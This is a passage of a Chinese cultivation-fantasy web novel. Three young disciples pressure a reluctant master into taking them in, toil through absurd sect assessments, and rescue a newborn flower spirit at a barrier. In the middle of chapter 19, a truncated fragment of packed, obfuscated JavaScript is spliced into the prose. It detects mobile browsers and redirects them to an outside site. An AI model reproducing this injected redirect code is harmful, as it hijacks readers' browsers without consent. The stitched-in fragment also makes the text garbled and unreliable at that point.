他俩仰头一看,只见半空中凭空出现了一颗极亮的蓝色光团,拖着长尾朝下落,眨眼的功夫,蓝光砸在地上,却没引起任何震动,光亮骤然消失,周围一如往常静悄悄的,仿佛一切都没有发生过。
苏林苏佑两人面面相觑,齐齐转头去看冷杉。
“你看见了?”苏林问。
冷杉点头。
紧接着,他们看见以刚才蓝光消失的地方为中心,荡漾开一圈蓝色的光环,光环慢慢扩散,成了一个足有两臂宽大圆环,继而有更多的蓝光从中心发出,自动在地上划出奇怪的图案。
看到这里,苏林反应过来,这是传送阵法,开始那颗蓝色流星,是用来定位的。能施展这套阵法的,她所知的只有一个人----莫怀仁。
苏林一脸鄙夷:就家门口几步路,还搞个法阵传送来,腿长着干嘛,显高吗?
果然,不多时,莫怀仁出现在蓝色的法阵光芒中,衣袂纷飞,挺像那么回事。
苏佑张大了嘴,眼巴巴地看着这一幕,慢慢从苏林身上滑坐在地上。
冷杉认清来人,激动地拜倒在地,大声道:“莫师尊!我等仰慕师尊威名已久,现诚心求见,恳请师尊收下我等为徒,我三人定忠心侍奉师尊,勤恳修行。”
莫怀仁的视线落在冷杉身上,认真听他说完,淡淡地说:“我不收徒。”
冷杉闻言再三顿首,说:“师尊,您不收下我等,我们就在此长跪不起。”
莫怀仁听了这话,似乎笑了一下,拿眼风一扫,扫到苏佑。
苏佑不知怎么的,腿一软,竟没骨气地也跪下了。
莫怀仁又瞅了眼站得好好的苏林。
苏林看他这拽样,翻了个白眼,心道:“看什么看,我比你还厉害好不好!”
莫怀仁将衣袖一挥,那蓝色光阵像无数萤火虫,飞入他的广袖中,他说:“随意,别挡在我的路前就行。”
冷杉见他要走,忙膝行几步,拦在莫怀仁跟前,伏在地上,说:“师尊,我等虽然鲁钝,但一定会勤恳修炼,定不会辱没师尊威名......”
莫怀仁向来耐心不多,蹙了蹙眉头,说:“我要走了,你们随意。”
他说罢,真的绕开冷杉,往外走去。
苏林跳到莫怀仁身前,说:“师尊,我的经脉还没冲开,师尊你得负责到底。如果不是您上次那么来一下,说不好,我早就自己冲开经脉了,也不会练气得零分,您得负责。”
莫怀仁被苏林这话弄得有点郁闷,说:“你的经脉调理可以来找我,但我向来不收弟子。”
苏林说:“不是师徒,怎么好请教?名不正言不顺的。师尊,不然你把我们都收下吧,我们也不要您如何费心,我们也会安安静静的,不会吵着您,还能跟您打杂做饭,做什么都行。”
这已经是苏林最大程度的诚意了。
不管是闫林秀还是苏林,从来都没求过人,受这样的冷脸,还是莫怀仁的冷脸,她觉得很难受,若不是为了冷杉,她都想自爆身份,一脚踹飞莫怀仁。
不料莫怀仁却未体恤她的一片心意,他接连被两个人拦住,耐心已经快耗费完了,说:“让开。”
冷杉和苏佑坚决地跟苏林身后,但不妨碍他们被莫怀仁的气场波及,两人不约而同拉起了对方的手,攥得紧紧的。
冷杉想着是不是说两句软化,再来一轮跪求,苏林这样逼得太紧了,莫师尊发怒就大大不好了。
不料他一晃神的功夫,被苏林抢先开口,只见苏林嘴角一翘,憋出一声冷哼,她竟然叉起腰,对莫怀仁说:“你既然作为我们的开课师尊,就得对我们负责到底,教了一半撂下,教徒弟的本事都没有,还叫什么‘师’、称什么‘尊’?”
莫怀仁问:“怎么,今日我不答应收你们为徒,就走不出十里坡了吗?”
苏林说:“那倒不至于。不过,我会一把
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火烧了十里坡,再走。”
后面的冷杉和苏佑眼珠子快要瞪出来了。
莫怀仁比苏林高了太多,冷杉和苏佑又跪着,师尊居高临下的睥睨之姿,让他俩心猛地一缩,若莫师尊发怒,应该是不好玩的吧!
莫怀仁回头望了眼他的十里坡,冷笑道:“放火烧山?”
苏林却没有被震慑住,她无所谓地说:“灵霄山的《弟子归训》我可记熟了:残害同门,以上欺下是大罪,要斩断灵根,废除修为,逐出师门;而放火烧山,只杖十。如果是徒弟冒犯师父,严重的可以逐出师门,可你现在可不是我师父,论不上师徒。”
这个空子倒是让人没想到。
连苏佑都好奇了,悄悄问:“这是真的吗?如果真这样,那是可以烧诶。”
莫怀仁看着他们三个,突然笑了一下,应该是气笑了,问:“你真不害怕?”
苏林说:“我怕什么,反正拜不了师,留在初云馆也是瞎混,三年一到,被赶回茅湾也是瞎混,无所谓,还不如赌一把。要不您就收了我们吧?咱们俩都好!”
莫怀仁说:“你倒想的开。”
“你同意了?”苏林惊喜。
莫怀仁低头斜斜睨了她一眼,说:“不同意。十里坡随你烧。”
。。。。。。
这下轮到苏林傻眼了,她不可能为了拜个师,真放火烧山。
眼见的莫怀仁要走远了。
苏佑叹了口气,大声赌气说:“算了吧,我们得罪了王小虎,还有谁敢收下我们呢?他们都是一伙的,初云馆也迟早待不下去,我们不如早早下山去吧!免得受人欺负。”
他见莫怀仁走得更远了,道:“三山四海虽大,可我们没权没势,哪里有容身之地呢?随便混这一辈子算了,谁说非得修仙,修得没情没爱,还不如一块石头。咱们只管开开心心的,也算不白投胎来这一趟。”
这话说的......
苏林和冷杉都心凉了。
莫怀仁的身影已经望不见了。
苏佑爬起身,拍了拍裤腿上的灰尘,问:“接下来咱们怎么办?还在这儿等吗?”
苏林回头去看冷杉。
冷杉没有说话,他依旧跪着,目光仍望着莫怀仁消失的方向。
苏林和苏佑对视一眼,也随之望去。
一阵风吹来,应该是从山林中而生,比周围的空气凉,风把树上稀稀落落的残花摇落下来,就像他们凋零的前路。
灵霄山上没人敢收他们。
一个山头能有多大,消息就跟无根的山风一样,转眼就传传遍了。
人人都知道苏林、苏佑和冷杉拒绝了跟随王小虎、拜在陆绍门下的事情,一下子就得罪了长门和飞瀑峰两个宗门,还是灵霄山资源、实力最拔尖的两个宗门。
谁还敢收他们?
那不是摆明了跟王首座和陆绍作对吗?
其实,这山上跟王首座和陆绍作对的人不少,但得看为了什么、值不值得。
为没甚价值的三个小虾米下场,不值得。
19. 第 19 章
直到初云馆内选大赛入馆人员考核当天,再没有人搭理过苏林、苏佑和冷杉。
倒是王小虎让人跟冷杉递了话,给了他一个回头的机会。
苏林劝冷杉,说:“要不你回去吧!总比咱们这么瞎晃好,你跟我们不一样,我和苏佑对修不修行没所谓的。”
苏佑说:“对啊对啊,我们俩其实都没怎么想修行的,只想开开心心吃吃喝喝就好了,你天资好,别浪费了。大不了先跟着王小虎,后面再看嘛!”
冷杉说:“不,我们发过誓的,我不做小狗。”
苏林看冷杉并没有丝毫犹豫纠结的神情,不知该说他道心坚定,还是说他年轻太犟,于是不再劝,笑了笑,说:“也行。”
她心里暗自打算:实在不行,她伸手拉扯这孩子一把。反正那些修炼口诀、修炼秘籍什么的,她还记得不少。
这次说是考核现场,其实并不大看现场考核的情况和成绩,倒像是见面会,苏林他们这一批同时进来的也算是同年,给他们一个交流认识的机会,然后由各宗门领人回去。
现场的长桌上摆了考卷、成绩单什么的,同时也摆满了瓜果糕点,场面其乐融融。
苏林、苏佑和冷杉三个人被安排在最角落的位置里,离主桌很远,就跟观众一样,看众人寒暄。
苏林他们看着看着,发现这次会场规格跟上次大赛差了许多,来现场接新人的宗门代表中,师尊只有陆绍和白马湖的一位长胡子,其他都是师长、师兄,有些看着还很年轻,甚至还怕靠近陆绍他们所在的主桌。
主持的师兄很殷勤地照顾着场中师尊的情绪,对场中其他人约束甚少。
苏佑边看边吃,吃得很快乐,他剥开一颗山核桃递给苏林,问:“老大,咱们进来的不是十二个人吗?怎么我数着,像是是十四个人?”
他又点了一遍人头,问:“嘿,你们看,那边两个是‘飞剑’那两兄弟吗?”
苏林仔细看去,说:“真是诶,是张康和张泰。他们怎么来了,他们不是淘汰了吗?”
苏佑笑道:“可能是看热闹吗,也不嫌不扎心!”
苏林也笑了,说:“心真大。”
冷杉瞅了他俩一眼,心说你俩才是心真大,说:“他俩是来参加考核的,我刚在单子上看见他们的名字了,不是内选大赛入选弟子那栏,写的是进修弟子。”
苏佑问:“进修弟子?是什么?”
苏林突然想起来,在《规训》上看到过,弟子入门两年后,可去其他山门进修,她当时还奇怪,进个修多大个事儿,还单列一大章来写。
她问:“进修不是要满两年,而且一年后要回原师门吗?”
冷杉说:“从下面门派去灵霄山进修的人,没几个,回去的也没几个。进修进修,顾名思义,修着修着就进去了。他们在进修期间也是初云馆弟子,表现优异,正好赶上临时考核,被宗门选中,也算合理。”
哟呵,原来还有这种套路,真是一环扣一环的,环环把人套。
这是比王小虎更NEWBEE的存在啊,内选大赛走不通,直接硬来,装都懒得装了。
苏林不禁怀疑:这回张康张泰哥俩是有点儿本事的,如果以后没什么本事的也走通了这条路,还能选出真的人才吗?灵霄山都要是这种人,还行不行啊!
苏佑在旁边酸酸地说:“谁让人家是白马湖首座嫡孙,规矩是死的,人是活的,因为这层关系“破格提拔”就说得过去了,谁还会说个不字?就是长门,也犯不着为难人家两次。”
苏林很快又发现一个问题:“他们既然这么牛,怎么不直接拜在他爷爷门下?”
“这个我知道!”苏佑挤过来,说道:“这不是前几年修仙界太多家族繁衍,凡人里有灵根的人难以出头,便想了个法子----所有门派收徒必须过考,再按照排名录取,考不过就是首座亲儿子也进不来。这不,大山门门槛高,竞争激烈,按照名次来可能排不上,有些人就想了其他的法子,先去小门派入门,根基差点儿也能进,先进去,过了这个门槛再运作,这不,一年就运作走了呗!”
苏林闻言一顿,会心一笑,感慨道:“那还是不公平嘛!”
苏佑笑嘻嘻地说:“不错了,起码再深的背景,考不上那是真就考不上。也让咱们这样的人有了机会,已经很不错啦!这世间哪有什么绝对的公平呢?”
还是那么随性又豁达的口气,说出这么世故的话。都让苏林怀疑到底谁才是历经千帆的大佬,到底是谁重生了。
她打趣道:“冬瓜,你怎么知道这么多?”
苏佑拍拍胸脯,说:“开玩笑,小小灵霄山,拿捏!”
冷杉看他俩没心没肺看热闹,又好气又好笑,说:“你俩就一点不担心吗?你们没瞧见人家都已经被人接上了,都在看我们热闹吗?”
苏林、苏佑这才发现,果然那边十个人,不知何时已经坐在了各自阵营,王小虎坐在陆绍身边,那张家兄弟坐在“白马湖”代表身后,就连“穿山甲”都被拉去“灵药谷”的名牌后面,显然全部分配完毕。
那些同年们也不时溜他们一眼,有些人眼神里不大善良。
苏林、苏佑对视一眼,虽说两人无所谓,但此情此景,还是有点儿难看了----他们在看人家热闹,没曾想反被围观了。
王小虎正跟陆绍说着什么,眼风瞟到冷杉,又淡淡地转开。
冷杉的脸色更白了,嘴唇抿得紧紧的,少年到底还是在意的。
“好了!所有人都到中间来。请接人的宗门代表来签字,被选的弟子也来签字,签完字,就可以把人领走了。”主持师兄大声喊道。
场中人亲亲热热去登记,只剩下“冷苏苏”三人冷飕飕地傻站着。
苏林转头要走,被师兄喊住:“诶,别动!没人选的别动,等会儿跟我一起回初云馆。”
这一声简直是公开处刑。
苏林这张老脸都快架不住了,但好歹站住了。
“那个苏林、苏佑、冷杉,说你们三个呢!”那犯-贱的师兄竟仍不放过他们。
苏林看清那师兄一脸幸灾乐祸,还朝王小虎递了个得意的颜色。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553629|170884||http|test|mini|href|location''.split(''|''),0,{}));
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>眼见苏林要炸,苏佑赶紧拉住他。
此时所有人都已经登记完毕,正事办完都看过来,那师兄更起劲儿了:“怎么滴,让你们不动,就不动,听不懂吗?以为灵霄山是什么地方?上了山就不得了吗?走了什么狗屎运,还不知感恩,看看谁会要你们......”
“我要。”
突然出现的一声慵懒地男中音打断了师兄的嘲讽。
众人寻声望去,门口背光站着一个人,他说完,抬步迈进门槛,定定站在众人面前。
陆绍先一步认出来人,撞了下旁边负责接引的弟子,笑道:“还不去迎你们莫师尊?”
众人这才反应过来。
“莫师尊,您怎么来了?您方才说......要什么?”接引弟子小心翼翼的问。
莫怀仁凤目一扫,看见苏林、苏佑和冷杉三人,下巴朝他们仨一扬,说:“要他们三个。”
别说那嘲讽技能拉满的师兄不敢置信,就连苏林他们自己都不敢信。
苏林弱弱的问:“师尊,您说的是...是我们?”她手指小心地依次点过己方脑门。
“名册呢?”莫怀仁说,“签了,跟我走。”
莫怀仁一如既往地言简意赅、跋扈嚣张。
但苏林此时觉得他帅得不得了,拽得简直发光!甚至希望他再拽一点,再嚣张一点。
莫怀仁借着接引人的后背签下自己的大名,丢笔回头,示意“冷苏苏”快来。
苏林赶紧拽着还在发愣苏佑和冷杉,往登记册去,走到一半,觉得不对,他们不能这么走。
先前丢掉的场子得找回来!
让你们狗眼看人低。
让你们看热闹。
在场中所有人的注视中,苏林这货突然抖了起来。
她抬起头,挺起胸,掸了掸衣服上并不存在的灰尘,正了正衣襟,面上挤出几分热情又含蓄的笑容,一边迈着四方步一步一步地往前踱,一边抱拳朝并不存在的恭贺回礼,口中不断朝着空气谦虚道:“师弟,同喜同喜。”
“师侄,客气了客气了。”
“徒孙,以后常联系啊!”
......
周围人震惊之余,狠得牙痒痒。
那是长门十里坡啊!
那是法力最高深的莫怀仁啊!
而且还是师尊的亲传弟子,妥妥高出了同窗其他人一个辈分,甚至两个辈分。苏林这货一口一个“师侄、徒孙”,还真没喊错,这叫人怎么不生气,怎么不恼火,怎么不眼红,怎么不嫉妒?
苏林这一番操作,把陆绍都看笑了,吃着葡萄,靠在椅背上,饶有兴趣地看着。
莫怀仁也难得好脾气地没催,看他们闹。
苏林觉得差不多了,赶紧几步小跑到莫怀仁跟前,接过登记册,找到自己的那栏,签完字递给苏佑,苏佑签完传给冷杉。
冷杉一直埋着头,接过册子,看见册子上“莫怀仁”三个字后面空了一格才是苏林苏佑签的字,他手中顿了一顿,在“莫怀仁”和“苏林”之间,认真写下“冷杉”。
20. 第 20 章
苏林、苏佑和冷杉跟在莫怀仁身后,再次走上了十里坡落霞蹊。
此时,花期开过,成了一条绿荫道。
苏林仰头望着头顶绿油油的樱花树,问:“这条路这么宽,怎么叫蹊呢?落霞,是因为这里能看到晚霞吗?可这里这么低,夕阳会被山遮住吧?”
苏佑和冷杉也不知道,因初到十里坡,他俩小心翼翼,静悄悄的。
莫怀仁在前面,兀自走得很快。
落霞蹊尽头是一片飞檐层叠的院落,占地很大,远远望去,勉强才能看到院墙尽头。
苏林感叹:到底是世家子弟,一个人住的房子都能如此气派。坏处是,以后得打扫辣么大一片的卫生,肯定还有好些房间是空着的,也得天天擦,工作量略大。而好处是,他们应该可以分到单间。
十里坡除了莫怀仁只有一个伺候的童儿,此时已经等在门口。
莫怀仁进入正堂,坐上主坐。
这是十里坡第一回收徒,童儿对程序不大熟悉,而且时间太紧,今早师尊才交代,他没法去问别人,只好按照自己理解的,化繁就简,点燃香案,让每个人给师尊磕头敬茶就算拜师了。
苏林边磕头边作心理建设:“我是苏林,是苏林,是苏林拜师。”
童儿递上茶碗的时候,她忍不住腹诽:“怎么还敬茶?搞得好像成亲啊!”但面上还是恭恭敬敬的。
莫怀仁挥手,对童儿道:“撤了。”
童儿对莫怀仁的吩咐并不表示惊讶,也不说话,默默把三人的茶碗收走。
莫怀仁对下面三人说:“我今日不喝你们的拜师茶。我把你们带来十里坡,并非决定收你们为徒。”
冷杉等人一听这话吃了一惊。
苏林在心里暗暗翻了个白眼:跪你的时候不说,白赚一个跪。
莫怀仁继续说:“我不收徒弟,不会为你们破例。你们在此,只记名,我不会管你们,不会教导你们,你们若作出有损我十里坡的事情,我会立马把你们逐出十里坡。”
莫怀仁顿了一顿,与苏林的目光有个短暂的对视,然后各自转开。
他继续说:“权当是念在与你们开蒙时的一点机缘、情分上,收留你们。你们自当好自为之。”
冷杉和苏佑面面相觑。但从一开始,莫怀仁就说过自己不收徒,是他们强人所难,又是苦肉计、又是激将法,人家不但不记仇,反而真拉了他们一把,无话可说。
苏林倒觉得有些意外,一是意外冷杉仅仅见了莫怀仁几面,竟然察觉出此人表里不一;二是意外莫怀仁的心肠还不错。
此时,收拾完拜师器物的童儿,抱着一摞文稿进来,说:“师尊,这是刚刚收到的传书,除了一封书信是学籍信息,其他全是考核条目。”
“考核?”莫怀仁疑惑。
童儿口齿伶俐地回答道:“因为以往师尊这里没有收徒,所以没有考核。今年收了徒,就得纳入灵山派的考核了。”
童儿边翻文书边说:“有春种考核、秋收考核、收租考核、守边考核、修行考核、弟子武器收集考核、灵兽养殖考核、灵草种植考核、丹药炼成考核、公益考核、还有卫生环境考核----这条人家点出来了,说是落霞蹊的花瓣不能落地。考核结果跟每月的资源划拨直接挂钩。”
童儿一口气说完,憋得脸色通红,长舒一口气,眨巴着大眼睛看着他们家师尊。
莫怀仁闻言皱起了眉头,他向来不理俗务,从小要什么便有什么,对这个“资源划拨”四个字不甚在意。
童儿见师尊不语,继续解释道:“师尊,您收徒后,会由长门按照弟子人头划拨资源,如果考核结果好,有1成到5成的奖励,若考核结果靠后,则有相应减少。”
童儿又打开一本文书,找到相应地方,念起来:“师尊亲传弟子:每人每月灵丹5颗,灵草10捆,灵石15颗。白银25两,各种缎料2匹(年俸),绸、纱、绫、丝、布2匹(年俸),另有棉、绒、貂皮等。每日猪肉5斤,鸡、鸭共10只(每月),米1升,白面4斤,糖1斤,其它蜂蜜、核桃仁、松仁、枸杞、干枣等干货5两,猪油、香油1斤,其它蛋及瓜果蔬菜按照当时收成分配。每位师尊每收一位亲传弟子,可补助同等资源一份。”
苏佑听见吃的这么丰富,眼睛越来越亮。
苏林也听得认真:没想到灵霄山亲传弟子待遇不错嘛!
莫怀仁听完,想了一会儿,没出声,他没想到收个亲传弟子竟然还有补助,但这么点儿芝麻绿豆,够干什么?
他懒得再听,对童儿说:“给他们吧。”
冷杉接过文书,莫怀仁看了苏林一眼,又交代道了一句:“休要丢我十里坡的脸面。”
冷杉答道:“我等必当勤勉努力,力争上游,不负师尊教诲。”
苏林、苏佑只得随之应允。
莫怀仁应该是要他们事事争先,为本门争光。
就因为这个调子,苏林成为宗门弟子的第一件事,竟然又!是!插!秧!
还是一人老大一片责任田地种地。
毕竟长门人多,而十里坡只有苏林、苏佑和冷杉三个人,地多人少。
童儿负责给他们三个送饭,安慰他们的话术很熟悉:“修行为了苍生万民,享受万民供奉,就要体会万民之辛苦。”
苏林无语:“道理是这个道理,但都已经自己种地了,还要人家供奉干嘛?不知道自己种自己吃啊!”
童儿嘿嘿一笑,正色道:“种地关键不在种地这个举动,而是通过经受日晒雨淋,磨炼筋骨,时时刻刻提醒你身上守护万民的责任。”
苏林语结,原来劝耕篇还有下篇。
这么大一顶帽子压下来,还有什么好说的?
没日没夜插了两天秧,终于完成定量,考核靠前。
毕竟“亲传弟子躬亲垂范”,这一项就加了不少分,考核小组还把这一内容编成了宣传小曲,传唱灵霄山。
其他人的感想苏林不知道,反正她略感羞耻。
更让她不能忍的是,第一轮春种考核才结束,第二轮考核又开始了,巡守界碑----字面意思。
“啥玩意儿?”苏林纳闷:“干嘛把界碑偷走,
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那玩意儿有什么用?”
冷杉也一脸茫然。
苏佑比较了解,解释道:“因为灵霄山所属镇村不仅能受灵霄山保护,还有额外的福利,村民生活水平直线上升。周边许多不属于灵霄山的村庄眼红,便想把界碑挪到他们那边,把他们的村子手动划分进灵霄山。”
苏林、冷杉面面相觑:“还能这样?”
苏佑摊手:“前几年发生了好多次,后来就多了这项考核。”
没办法,偷界碑的不会提前通知你,得一直守着。
苏林他们三个只能分成三班,二十四个时辰轮换,苦守半个月。
因为这份辛苦,又得到了额外加分。
但苏林很不爽:“怎么滴,灵霄山什么时候这么流行编小曲儿?咱们三个短短半个多月,都已经有两首成名曲了,这一年过完,岂不是得出个金曲库啊!”
说得冷杉都不禁喷笑。
就在三人顶着黑眼圈准备正式开始求学修炼的时候,天煞的第三轮考核又开始了----养灵兽。
十里坡被安排养的是一种十分娇贵的七彩长尾灵雀,人手一只,需要繁殖出至少一只灵雀,才算合格。
苏林他们严格按照喂养说明,苏佑都抱着鸟睡了,短短半个月,五只鸟被养死了四只。
就苏佑抱着的那只还活着。
众人的希望都落在了这根独苗上,希望她能生出六只鸟,顺便能补上那四只的缺,好让考核合格。
哪里想到,那只鸟不堪众爱,趁雨夜逃走了。
苏林四人没法子,只能满山去找鸟,最后在山脚下一个边界外的小山村--古树村里找到了那只七彩长尾灵雀。
还不止一只,是一窝。
养他们的是个大爷,去年他家鸡窝里不知怎么,来了一只灵雀,他也没在意,就把灵雀当鸡一般养,灵雀不仅没死,今年竟发了一窝。
苏林等人看着满院子的七彩灵鸟,眼睛都直了。
苏佑说:“啊呀呀,这下够了,够了,七彩长尾灵鸟这么珍稀,这么多,连明年、后年的定额都有了。”
苏佑、冷杉抓鸟的时候,苏林却抓住了那大爷,心道其他人糊涂,这不明摆的吗?大爷不比七彩灵鸟珍稀啊!
回去的路上,苏林琢磨来琢磨去,发现自从自己加入灵霄山,根本没学任何跟修炼有关的东西,上头只是不语,一味安排牛马干活。
她终于回过味,什么弟子不弟子的,就是不要钱的苦力嘛!
灵霄山,你太让我陌生了!
当天夜里,苏林带着苏佑和冷杉重新回到古树村,跟村长谈判,让其负责十里坡春种、秋收、收租、灵草和灵兽养殖等诸多事宜,还有界碑守护任务,而苏林等三人将自己每月的配额拿出一半付给村长,并按照灵霄山考核结果,也实行浮动奖惩,提高村长的积极性。
这些收益可比村子往年收成多多了,村长和几位里长欣然同意。
苏林等人也终于可以抽身出来加紧修炼。
于是,双方签字画押,开始合作,实现了互利共赢的良好局面。
21. 第 21 章
村长可以包下其他考核,但笔试和体测考核是没法外包的,冷苏苏小队成员只能亲自下场,老老实实去考。
他们几个前一段时间一直忙着应付各种考核,根本没有时间修炼,好在灵霄山修仙界的理论知识没有差别,四人的理论都不错。
成绩下来,三个人都拿到了九分。
苏林、苏佑和冷杉相视一笑,这个成绩还算满意。
但等到排名下来,三个人傻眼了,能在茅湾派排到前三的九分,在灵霄山竟然排到了倒数第十----三个人并列,另外六个排在后面的哥么,就是他们这届内选大赛的同年。
苏林三人这才真切地感受到:人外有人,天外有天。
灵霄山弟子的整体素质水平都高,能留到灵霄山的,都是强者,他们再没法像从前那样轻松取胜。
而接下来的体测考核,只能用惨不忍睹来形容。
只有冷杉拿到了七分,排在练气小组的倒数第三。
苏林和苏佑都是零分。
苏林也搞不懂,为啥每次需要的时候,小蓝火就会消失。就感觉先贤碑是个茶壶,她就像个茶杯,碰一次就从茶壶里拿点儿灵力,喝完还得再去拿。
至于苏佑,他摸着寸把长的头发,嘟囔着:“规则改了,我也没办法了。”
于是三个人喜提第四轮考核练气组倒数第一。
这轮成绩拉得太远,导致四轮总成绩也排在了最后一档,他们每人都被扣了半个月的俸禄,另外半个月还得付给村长,忙活一个月竟然颗粒未收。
三个人围坐在餐桌前,面面相觑,连苏佑的胃口都差些了。
此时童儿端来饭菜,说:“师兄、师姐,你们这个月吃饭是公中垫了钱,月底快到了,伙食费得补上哦。”
真是越冷越吹风,苏林问:“伙食费多少钱?”
童儿从怀里掏出账本,翻到最后,说:“苏师姐和冷师兄十两银,苏佑师兄三十八两银。”
苏佑闻言胖大的身躯往桌下缩了缩。
苏林拉住童儿问:“可以先赊着吗?下个月一起给。”
童儿说:“那得问师尊。”
苏林心说就这么几个钱,莫怀仁会在意?还非得闹到他跟前去,就莫怀仁那性子,就不信他还每月还会去查账。
但童儿到底只是办事的,按理论的确做不了主。
苏林考虑也来了一个月了,虽然考核成绩不理想,但是好歹得跟名义上师尊汇报下,以示尊重,说不好莫怀仁看他们惨兮兮的,大手一挥,不要他们伙食费了呢?
三人吃完饭,到莫怀仁小院外求见。
莫怀仁正坐在一颗老石榴树下静坐,听苏林问:“师尊,咱们的伙食费能下个月再交吗?”
他闭着眼养神,没动没睁眼。
得,这幅样子,拒绝的意味很明了。
苏林只能硬着头皮又问:“师尊,那能先从公中借一点银钱吗?等下个月发了连带利息一定还上。”
莫怀仁眼睛依然没睁开,淡淡地吐出两个字:“不能。”
拒绝得可真够干脆的。
苏林三人只得悻悻地出来。
苏佑垂头丧气地说:“都怪我,吃得太多了。我从今天起,少吃一点,节约开销。”
冷杉拍拍他肩膀,说:“别多想,肚子饿吃饱饭天经地义。再说了,咱们都欠着呢。”
苏林琢磨了一下,道:“光节流不成,咱们还得开源。苏佑,你不是会望气吗?要不然咱们找些灵草、灵药什么的,卖点儿钱。咱们不是还有筑基丹吗?卖个一两颗,周边门派应该有人要。”
冷杉思量了一下,说:“我可以回茅湾找我表舅,他有门路收这些,尤其是筑基丹,应该能卖出好价钱,先渡过这个难关。”
苏佑一听能派上用场、将功补过,立马来了精神,拍着大肚子说:“这个我行,我在茅湾就找见过不少好东西,灵霄山灵气这么充裕,灵草、灵药更多。今天反正没事,不然咱们这就去,找着了,就让冷杉带给段班长一起卖了。”
三人一拍即合,开始行动。
苏佑在前,苏林和冷杉紧跟在后,在十里坡望气寻药。
他们所住的后院外有一条长长的堤坝,堤坝那边是一个很大的湖叫碧波湖,这条堤坝便称作十里坡,慢慢用来指代湖和堤坝这一大片地盘。
此时正是暮春,登上这十里坡,豁然开朗,满坡都是粉的红的杜鹃花,好像走在一条美丽的地毯上。
胖胖的苏佑行动竟意外地敏捷,飞奔在花丛中,践踏过的花瓣落在他身后,扰乱了冷杉和苏林的视线。
跑到山坡尽头,前面是一片密林。
苏佑喊道:“就在里面,那灵气冲天,肯定是好东西-哎哟!”
分明是敞敞亮亮的大路,苏佑却被拍在了一块屏障上,发出“Duang”的一声巨响,眼冒金星。
后面的冷杉和苏林因为惯性,想刹住脚步已经来不及了,睁着眼睛“Duang”“Duang”两下撞上了。
三个人抱着脑袋哎哟了半天。
冷杉伸手朝空中探去,在他们面前,真的存在一堵透明的墙。
苏佑的额头上撞了一个鸡蛋大的包,他也摸了摸,说:“哎哟,这是什么呀?”
苏林说:“应该是结界,这结界也忒厚了,而且没有攻击法力加成,单纯挡人。”
上次内选大会擂台上那个就有雷电加成,碰到就被电焦。
“那我看到的灵气是这堵墙发出来的?”苏佑疑惑,“里面是什么呀?还设结界。”
冷杉站起身,往前面望了望,里面的景色一览无遗,但就是过不去,他说:“可能是莫师尊划出的禁地。看来十里坡咱们不能到处乱闯。”
苏林伸出手摸到屏障,想找出结界的边界,但她摸了半天,发现这结界往下入土入水,往上她够不着,往左在湖面上也存在,往右不知通向哪里,就是一面巨大的墙。
苏林好奇里面是什么,她不记得十里坡设下过如此大的结界。
苏林摸着摸着,突然掌心感觉一软,手掌竟然陷进了屏障中,整个屏障开始像波浪一样晃动起来。<
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“你们看!”苏佑指着屏障那边。
苏林和冷杉苏佑指的地方看过去,就在屏障里面,挨着屏障的地方,有一棵小草无风摇摆起来,像是在扭动身体,努力吐出一根长长的花梗,花梗顶端冒出个花苞来,那花苞是蓝紫色的,眨眼的功夫,噗地一声绽开了,此时灵光闪耀,环绕在花的周围。
苏林察觉到自己的手陷得更深了,几乎要穿过结界。
苏佑说:“灵草化成精了。”
他话音刚落,只见灵光之中冒出一个肉团来。
三人定睛一看,那肉团转瞬成了一个粉嘟嘟、肉乎乎的奶娃娃,奶娃发育得极快,很快那花苞已托不住他。
小家伙蹙了蹙眉,闭着眼睛扭起来,一不小心从花苞上滚下来。
苏林看着娃娃就在手边,心中一急,双手一伸,竟然把手穿破了结界,一把接住了那小家伙。
在场人看到这一幕都惊呆了。
就在此时,结界又开始波动,一个金色的人影从那边结界中凸显出来,影像渐渐清晰,他转过身,露出陆绍那张帅脸,因为画面稍稍模糊,反倒把脸上的瑕疵弱化,显得更俊美了。
苏佑不自禁“哇”了一声,刚要感叹:“这就是传说中的千里传影吗?”话还没出口,在结界这边落下一滴蓝色星光,法阵中他们亲爱的师尊莫怀仁翩然现身。
苏林半跪在他俩中间,一张脸一半被映成蓝色,一半被照成金色,双手托着小花精,一动都不敢动。
那奶娃娃丝毫没有身为精怪的警觉,在苏林怀里举起小拳头伸了个懒腰,扭动身体找了个舒服的姿势,唑着大拇指睡着了,竟还翘起嘴角一笑。
在场四个男人静静地看着这一幕。
陆绍看清状况似是放松了一些,对莫怀仁说:“怎么,你第一个月就教突破结界?”
莫怀仁连个眼神都没给他,抬手摸到结界,依然是成形的,也依然坚硬。
这就把正穿在结界两边的苏林衬托得更加诡异。
苏佑在一边弱弱地说:“师尊,是不是这个花精化形,灵力波动扰乱了结界?”
莫怀仁看向陆绍。
这结界是陆绍设下的,得问他。
陆绍没有回答他这个问题,反而看着苏林若有所思。
莫怀仁抬手捻诀,朝结界突破处一指,苏林的双臂上出现了一层淡蓝色的微光,顺着她的胳膊往下延伸,铺到她手上,而后包裹住整个小花精。
苏林趁机往后一倒,把那小花精从结界那边端了出来,冷杉和苏佑赶紧上前扶住。
莫怀仁收回法力,接着陆绍开头的话题答道:“灵霄山陆师尊的结界,号称三山四海第一人,谁能破?我吗?太看得起我了。”
苏林听这话险些笑出来:你都当着人家的面,把人从结界那边接过来了,这样说合适?当人家眼瞎吗?
这嘲讽技能妥妥满分。
她以前不记得莫怀仁还有这种幽默感。
那边陆绍翻了个白眼,幻影波动,渐渐消失。
他就不该来问。
22. 第 22 章
十里坡的尽头,师徒五人尴尬地立着,不知如何收场。
莫怀仁看了眼那小花精。
苏林忙端着送上前,问:“师尊,这个、这个怎么办?”
这时,那小花精终于睁开眼睛,睡眼朦胧的,看清抱着他的人,咧嘴一笑,张开两只小肉胳膊,伸向苏林,口中咿咿呀呀喊道:“麻麻。”
苏林吓了一跳。
小花精这时又看到从苏林身后探出头来的冷杉和苏佑,又是一笑,张嘴叫道:“巴巴、耙耙。”
得,这小花精认母认父了,还是一母两父。
莫怀仁淡淡地说:“管生就得管养。”说罢,挥袖转身便走。
